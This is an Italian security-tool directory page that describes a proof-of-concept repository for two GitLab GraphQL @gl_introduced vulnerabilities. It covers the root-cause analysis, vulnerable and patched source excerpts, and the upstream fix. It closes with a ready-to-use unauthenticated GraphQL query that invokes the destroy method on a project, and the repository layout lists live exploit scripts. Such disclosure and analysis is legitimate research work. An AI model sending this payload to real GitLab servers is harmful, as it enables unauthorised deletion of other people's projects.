Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
cve-2026-19478 — Fornisce exploit PoC e analisi delle cause profonde per due vulnerabilità della direttiva `@gl_introduced` di GitLab GraphQL: esecuzione di metodi non autenticata e scambio di documenti in batch, con patch a monte ed evidenze dal vivo. | Kitploit
Strumenti/GitHubGitHub/n0xdaemon/cve-2026-19478
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebTest di Sicurezza delle APISicurezza Web
GitHubn0xdaemon/cve-2026-19478

cve-2026-19478

Fornisce exploit PoC e analisi delle cause profonde per due vulnerabilità della direttiva `@gl_introduced` di GitLab GraphQL: esecuzione di metodi non autenticata e scambio di documenti in batch, con patch a monte ed evidenze dal vivo.

Vedi Repository
241 mese faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-19478 — Vulnerabilità del version-filter GraphQL di GitLab @gl_introduced

Un laboratorio di riproduzione per due bug correlati nella funzionalità di filtro di versione (version-filter) GraphQL di GitLab (la direttiva @gl_introduced). Entrambi risiedono nella stessa area funzionale, sono corretti dalla stessa patch upstream ed entrambi consentono a una richiesta GraphQL di raggiungere percorsi di codice che non ha mai dichiarato:

  • Esecuzione di metodi tramite campo fallback — una singola query non autenticata e non in batch può invocare un metodo arbitrario senza argomenti (es. destroy) sul modello dietro qualsiasi tipo GraphQL, semplicemente nominando un campo che non esiste e contrassegnandolo con @gl_introduced.
  • Scambio di documenti tra operazioni — in una richiesta in batch (multiplex), il documento di query parsato di un'operazione può essere sostituito con quello di un'altra, così uno slot che aveva dichiarato una lettura innocua finisce per eseguire la mutazione di un altro slot.
Versioni interessate18.2 → <18.11.11, 19.0 → <19.0.8, 19.1 → <19.1.6, 19.2 → <19.2.4
Versioni corrette18.11.11, 19.0.8, 19.1.6, 19.2.4
Target del labgitlab/gitlab-ce:19.2.2-ce.0 (ultima build prima della correzione)
Innescodirettiva GraphQL @gl_introduced, da sola o all'interno di un batch

Struttura del repository

docker-compose.yml               Live vulnerable target (GitLab CE 19.2.2), :8929
patch-19.2.2-to-19.2.4.diff      The upstream fix, version_filter only (the whole bug in ~60 lines)
harness/
  live_test_fallback.sh          PoC #1 -- live HTTP exploit, fallback-field method execution (unauthenticated)
  live_test.sh                   PoC #2 -- live HTTP exploit, cross-operation document swap
  run_poc.rb                     PoC #3 -- standalone, isolates the swap in plain graphql-ruby
  loader.rb                      Loads the real 19.2.2 (vuln) or 19.2.4 (patched) version_filter source
  Dockerfile                     Minimal ruby:3.3 runner for PoC #3 (no full GitLab needed)
src/
  common/                        Unchanged upstream files (shared by both variants) + demo schema
  vuln/                          Real 19.2.2 source of the files the patch touched
  patched/                       Real 19.2.4 source of the same files
evidence/
  live_vuln_fallback_field.txt   Captured output of PoC #1 against the live target
  live_vuln.txt                  Captured output of PoC #2 against the live target
  standalone_vuln.txt            Captured output of PoC #3 (vuln)
  standalone_patched.txt         Captured output of PoC #3 (patched)

Tutto ciò che si trova in src/ è sorgente upstream identica, mai reimplementata — il loader sovrappone src/vuln o src/patched sopra src/common.


1. Causa principale

1a. Campo fallback → risoluzione predefinita dei metodi di graphql-ruby

Gitlab::Graphql::VersionFilter::FutureFieldFallback consente a una query di riferire un campo che non esiste ancora su un tipo senza che la richiesta fallisca — pensato per i deployment rolling, dove lo schema di un nodo vecchio non ha ancora un campo che un nodo più recente già fornisce. Il suo override di get_field controlla se il campo richiesto manca e se la richiesta è contrassegnata con contain_future_fields; in tal caso restituisce un campo sintetico invece di generare un'eccezione:

# src/vuln/.../future_field_fallback.rb
def get_field(field_name, context = GraphQL::Query::NullContext.instance)
  field = super
  return field unless future_field?(name: field_name, field: field, context: context)
  fallback_field(name: field_name)
end

def fallback_field(name:)
  GraphQL::Schema::Field.new(
    owner: self,
    name: name,
    type: GraphQL::Types::Boolean,
    fallback_value: nil
  )
end

Il problema: questo GraphQL::Schema::Field viene costruito senza metodo resolver, senza classe resolver, senza blocco. A quel punto si applica la risoluzione dei campi predefinita di graphql-ruby (gem graphql 2.6.3, lib/graphql/schema/field.rb):

inner_object.public_send(@method_sym)

@method_sym è il nome del campo, in notazione underscore — cioè esattamente la stringa che l'attaccante ha inserito nella query. Se l'oggetto dietro al tipo GraphQL (il modello ActiveRecord) possiede un metodo pubblico reale, senza argomenti, con quel nome, graphql-ruby lo invoca e ne restituisce il risultato (convertito al tipo atteso). fallback_value: nil si applica solo quando il metodo non esiste davvero — non fa nulla per impedire che un metodo reale venga eseguito.

Quindi: interroga un qualsiasi tipo per un campo chiamato come un metodo distruttivo reale — per esempio destroy — contrassegnalo con @gl_introduced così che arrivi all'esecuzione, e il metodo viene eseguito.

1b. Scambio di documenti tra operazioni

IntroducedTracer implementa il resto della funzionalità di filtro di versione attraverso due hook di trace di graphql-ruby — parse (una volta per operazione) e execute_query (una volta per operazione). Nella build vulnerabile lo stato per-operazione viene archiviato in semplici variabili di istanza sull'oggetto trace:

# src/vuln/.../introduced_tracer.rb
def parse(query_string:)
  @original_query_document = super          # <-- shared ivar
  @contain_future_fields   = false
  filter = FutureFieldFilter.new(@original_query_document.dup)
  filter.visit.tap { @contain_future_fields = filter.contain_future_fields }
end

def execute_query(query:)
  return super unless @contain_future_fields
  query.instance_variable_set(:@document, @original_query_document)  # <-- swap
  query.send(:prepare_ast)
  query.context[:contain_future_fields] = @contain_future_fields
  super
end

Il problema: graphql-ruby condivide UNA singola istanza del trace tra tutte le operazioni di una richiesta multiplex e le analizza tutte prima di eseguirne una qualsiasi. Quindi in un batch a due operazioni:

  1. parse(op1) → @original_query_document = op1_doc, @contain_future_fields = false
  2. parse(op2) → @original_query_document = op2_doc, @contain_future_fields = true (op2 trasporta un campo futuro @gl_introduced)

Dopo il parsing, sopravvive solo lo stato dell'ultima operazione. Poi parte l'esecuzione:

  1. execute_query(op1) → il flag è true, quindi il documento di op1 viene sovrascritto con op2_doc e ri-preparato → lo slot di op1 esegue l'operazione di op2.

op1 aveva dichiarato una lettura; esegue la scrittura di op2.

La correzione

patch-19.2.2-to-19.2.4.diff chiude entrambi:

# future_field_fallback.rb -- give the fallback field an explicit resolver,
# so graphql-ruby never falls through to public_send on the field name
resolver_class: Resolvers::NilResolver
# NilResolver#resolve just returns nil, unconditionally -- no dispatch at all

# introduced_tracer.rb -- key the stashed state by each operation's own
# filtered document instead of one shared ivar
@introduced_tracer_data[filtered_document] = { original_document:, contain_future_fields: }
# ...
doc_data = @introduced_tracer_data[query.document]   # no cross-operation bleed

2. Flusso dell'exploit

2a. Campo fallback — richiesta singola, senza autenticazione, senza batch

query {
  project(fullPath: "root/some-public-project") {
    id
    destroy @gl_introduced(version: "99.0.0")
  }
}

Nessun header Authorization. Una sola operazione, nessun batch. destroy non è un campo reale di Project — non esiste affatto nello schema — ma la direttiva fa sì che FutureFieldFilter lo rimuova prima della validazione statica e attivi contain_future_fields per l'esecuzione, dove get_field restituisce un campo senza resolver chiamato destroy e graphql-ruby invoca project.public_send(:destroy).

Scarica lo strumento